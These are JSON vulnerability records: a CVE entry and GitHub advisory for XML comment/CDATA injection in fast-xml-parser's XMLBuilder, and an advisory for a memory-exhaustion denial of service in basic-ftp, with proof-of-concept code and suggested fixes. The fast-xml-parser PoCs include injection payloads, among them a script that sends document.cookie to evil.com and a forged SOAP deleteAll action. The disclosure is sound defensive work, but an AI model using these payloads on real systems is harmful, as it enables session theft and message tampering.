{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-41650",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-05-07T15:08:09.204375Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-07T15:08:36.208Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "fast-xml-parser",
          "vendor": "NaturalIntelligence",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 5.7.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. Prior to version 5.7.0, XMLBuilder does not escape the \"--\u003e\" sequence in comment content or the \"]]\u003e\" sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation. This issue has been patched in version 5.7.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-91",
              "description": "CWE-91: XML Injection (aka Blind XPath Injection)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-07T13:36:55.871Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
        },
        {
          "name": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-gh4j-gqv2-49f6",
        "discovery": "UNKNOWN"
      },
      "title": "fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-41650",
    "datePublished": "2026-05-07T13:36:55.871Z",
    "dateReserved": "2026-04-21T23:58:43.802Z",
    "dateUpdated": "2026-05-07T15:08:36.208Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:04:17Z",
    "nvd_published_at": "2026-05-07T15:16:07Z",
    "severity": "MODERATE"
  },
  "details": "# fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters\n\n## Summary\n\nfast-xml-parser XMLBuilder does not escape the `--\u003e` sequence in comment content or the `]]\u003e` sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.\n\nExisting CVEs for fast-xml-parser cover different issues:\n- CVE-2023-26920: Prototype pollution (parser)\n- CVE-2023-34104: ReDoS (parser)\n- CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder\n- CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities\n\nThis finding covers **unescaped comment/CDATA delimiters in XMLBuilder** - a distinct vulnerability.\n\n## Vulnerable Code\n\n**File**: `src/fxb.js`\n\n```javascript\n// Line 442 - Comment building with NO escaping of --\u003e\nbuildTextValNode(val, key, attrStr, level) {\n    // ...\n    if (key === this.options.commentPropName) {\n        return this.indentate(level) + `\u003c!--${val}--\u003e` + this.newLine;  // VULNERABLE\n    }\n    // ...\n    if (key === this.options.cdataPropName) {\n        return this.indentate(level) + `\u003c![CDATA[${val}]]\u003e` + this.newLine;  // VULNERABLE\n    }\n}\n```\n\nCompare with attribute/text escaping which IS properly handled via `replaceEntitiesValue()`.\n\n## Proof of Concept\n\n### Test 1: Comment Injection (XSS in SVG/HTML context)\n\n```javascript\nimport { XMLBuilder } from \u0027fast-xml-parser\u0027;\n\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst xml = {\n  root: {\n    \"#comment\": \"--\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!--\",\n    data: \"legitimate content\"\n  }\n};\n\nconsole.log(builder.build(xml));\n```\n\n**Output**:\n```xml\n\u003croot\u003e\n  \u003c!----\u003e\u003cscript\u003ealert(\u0027XSS\u0027)\u003c/script\u003e\u003c!----\u003e\n  \u003cdata\u003elegitimate content\u003c/data\u003e\n\u003c/root\u003e\n```\n\n### Test 2: CDATA Injection (RSS feed)\n\n```javascript\nconst builder = new XMLBuilder({\n  cdataPropName: \"#cdata\",\n  format: true,\n  suppressEmptyNode: true\n});\n\nconst rss = {\n  rss: { channel: { item: {\n    title: \"Article\",\n    description: {\n      \"#cdata\": \"Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more\"\n    }\n  }}}\n};\n\nconsole.log(builder.build(rss));\n```\n\n**Output**:\n```xml\n\u003crss\u003e\n  \u003cchannel\u003e\n    \u003citem\u003e\n      \u003ctitle\u003eArticle\u003c/title\u003e\n      \u003cdescription\u003e\n        \u003c![CDATA[Content]]\u003e\u003cscript\u003efetch(\u0027https://evil.com/\u0027+document.cookie)\u003c/script\u003e\u003c![CDATA[more]]\u003e\n      \u003c/description\u003e\n    \u003c/item\u003e\n  \u003c/channel\u003e\n\u003c/rss\u003e\n```\n\n### Test 3: SOAP Message Injection\n\n```javascript\nconst builder = new XMLBuilder({\n  commentPropName: \"#comment\",\n  format: true\n});\n\nconst soap = {\n  \"soap:Envelope\": {\n    \"soap:Body\": {\n      \"#comment\": \"Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!--\",\n      Action: \"getBalance\",\n      UserId: \"12345\"\n    }\n  }\n};\n\nconsole.log(builder.build(soap));\n```\n\n**Output**:\n```xml\n\u003csoap:Envelope\u003e\n  \u003csoap:Body\u003e\n    \u003c!--Request from user: --\u003e\u003csoap:Body\u003e\u003cAction\u003edeleteAll\u003c/Action\u003e\u003c/soap:Body\u003e\u003c!----\u003e\n    \u003cAction\u003egetBalance\u003c/Action\u003e\n    \u003cUserId\u003e12345\u003c/UserId\u003e\n  \u003c/soap:Body\u003e\n\u003c/soap:Envelope\u003e\n```\n\nThe injected `\u003cAction\u003edeleteAll\u003c/Action\u003e` appears as a real SOAP action element.\n\n## Tested Output\n\nAll tests run on Node.js v22, fast-xml-parser v5.5.12:\n\n```\n1. COMMENT INJECTION:\n   Injection successful: true\n\n2. CDATA INJECTION (RSS feed scenario):\n   Injection successful: true\n\n4. Round-trip test:\n   Injection present: true\n\n5. SOAP MESSAGE INJECTION:\n   Contains injected Action: true\n```\n\n## Impact\n\nAn attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:\n\n1. **XSS**: Inject `\u003cscript\u003e` tags into XML/SVG/HTML documents served to browsers\n2. **SOAP injection**: Modify SOAP message structure by injecting XML elements\n3. **RSS/Atom feed poisoning**: Inject scripts into RSS feed items via CDATA breakout\n4. **XML document manipulation**: Break XML structure by escaping comment/CDATA context\n\nThis is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).\n\n## Suggested Fix\n\nEscape delimiters in comment and CDATA content:\n\n```javascript\n// For comments: replace -- with escaped equivalent\nif (key === this.options.commentPropName) {\n    const safeVal = String(val).replace(/--/g, \u0027\u0026#45;\u0026#45;\u0027);\n    return this.indentate(level) + `\u003c!--${safeVal}--\u003e` + this.newLine;\n}\n\n// For CDATA: split on ]]\u003e and rejoin with separate CDATA sections\nif (key === this.options.cdataPropName) {\n    const safeVal = String(val).replace(/]]\u003e/g, \u0027]]]]\u003e\u003c![CDATA[\u003e\u0027);\n    return this.indentate(level) + `\u003c![CDATA[${safeVal}]]\u003e` + this.newLine;\n}\n```",
  "id": "GHSA-gh4j-gqv2-49f6",
  "modified": "2026-05-08T21:47:26Z",
  "published": "2026-04-22T20:04:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gh4j-gqv2-49f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41650"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "basic-ftp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:37:48Z",
    "nvd_published_at": "2026-04-24T04:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`basic-ftp@5.2.2` is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes.\n\n### Details\nThe issue is in the package\u0027s default directory listing flow.\n\n`Client.list()` reaches `dist/Client.js`, where the full listing response is downloaded into a `StringWriter` before parsing:\n\nFile: `dist/Client.js:516-527`\n\n```js\nasync _requestListWithCommand(command) {\n    const buffer = new StringWriter_1.StringWriter();\n    await (0, transfer_1.downloadTo)(buffer, {\n        ftp: this.ftp,\n        tracker: this._progressTracker,\n        command,\n        remotePath: \"\",\n        type: \"list\"\n    });\n    const text = buffer.getText(this.ftp.encoding);\n    this.ftp.log(text);\n    return this.parseList(text);\n}\n```\n\nThe vulnerable sink is `StringWriter`, which grows an in-memory `Buffer` with no limit:\n\nFile: `dist/StringWriter.js:5-20`\n\n```js\nclass StringWriter extends stream_1.Writable {\n    constructor() {\n        super(...arguments);\n        this.buf = Buffer.alloc(0);\n    }\n    _write(chunk, _, callback) {\n        if (chunk instanceof Buffer) {\n            this.buf = Buffer.concat([this.buf, chunk]);\n            callback(null);\n        }\n        else {\n            callback(new Error(\"StringWriter expects chunks of type \u0027Buffer\u0027.\"));\n        }\n    }\n    getText(encoding) {\n        return this.buf.toString(encoding);\n    }\n}\n```\n\nThe critical operation is:\n\n```js\nthis.buf = Buffer.concat([this.buf, chunk]);\n```\n\nThere is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.\n\nHow it happens:\n\n1. An application connects to an attacker-controlled or compromised FTP server.\n2. The application calls `client.list()`.\n3. The server returns an extremely large or unbounded directory listing.\n4. `basic-ftp` buffers the full response in `StringWriter`.\n5. Memory grows without bound due to repeated `Buffer.concat(...)` calls.\n\n### PoC\nThe following PoC exercises the vulnerable buffering primitive directly:\n\n```js\nconst { StringWriter } = require(\"basic-ftp/dist/StringWriter.js\");\n\nfunction mb(n) {\n  return Math.round(n / 1024 / 1024) + \"MB\";\n}\n\nconst writer = new StringWriter();\nlet wrote = 0;\n\nfor (let i = 0; i \u003c 32; i++) {\n  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);\n  writer.write(chunk);\n  wrote += chunk.length;\n\n  if ((i + 1) % 8 === 0) {\n    const m = process.memoryUsage();\n    console.log(\"written\", mb(wrote), \"rss\", mb(m.rss), \"heap\", mb(m.heapUsed), \"buf\", mb(m.arrayBuffers));\n  }\n}\n\nconsole.log(\"final text len\", writer.getText(\"utf8\").length);\n```\n\nObserved output:\n\n```text\nwritten 32MB rss 116MB heap 4MB buf 64MB\nwritten 64MB rss 296MB heap 4MB buf 240MB\nwritten 96MB rss 340MB heap 3MB buf 284MB\nwritten 128MB rss 436MB heap 3MB buf 376MB\nfinal text len 134217728\n```\n\nThis demonstrates sustained memory growth in the same code path used to buffer directory listing data.\n\nSupporting files saved alongside this report:\n\n- `poc.js`\n- `poc_output.txt`\n\n### Impact\nThis is a denial-of-service vulnerability affecting applications that use `basic-ftp` to list directories from remote FTP servers.\n\n- Vulnerability class: Memory exhaustion / Denial of Service\n- Attack precondition: The victim connects to a malicious or compromised FTP server and performs `Client.list()`\n- Impacted users: Any application or service using `basic-ftp@5.2.2` against untrusted FTP endpoints\n- Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination\n\nRecommended remediation:\n\n1. Enforce a maximum listing size.\n2. Abort transfers that exceed the configured limit.\n3. Prefer incremental or streaming parsing over full-response buffering.\n\nExample defensive check:\n\n```js\nif (this.buf.length + chunk.length \u003e MAX_LISTING_BYTES) {\n    callback(new Error(\"FTP listing exceeds maximum allowed size.\"));\n    return;\n}\nthis.buf = Buffer.concat([this.buf, chunk]);\n```",
  "id": "GHSA-rp42-5vxx-qpwr",
  "modified": "2026-04-24T21:02:13Z",
  "published": "2026-04-16T21:37:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41324"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickjuchli/basic-ftp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()"
}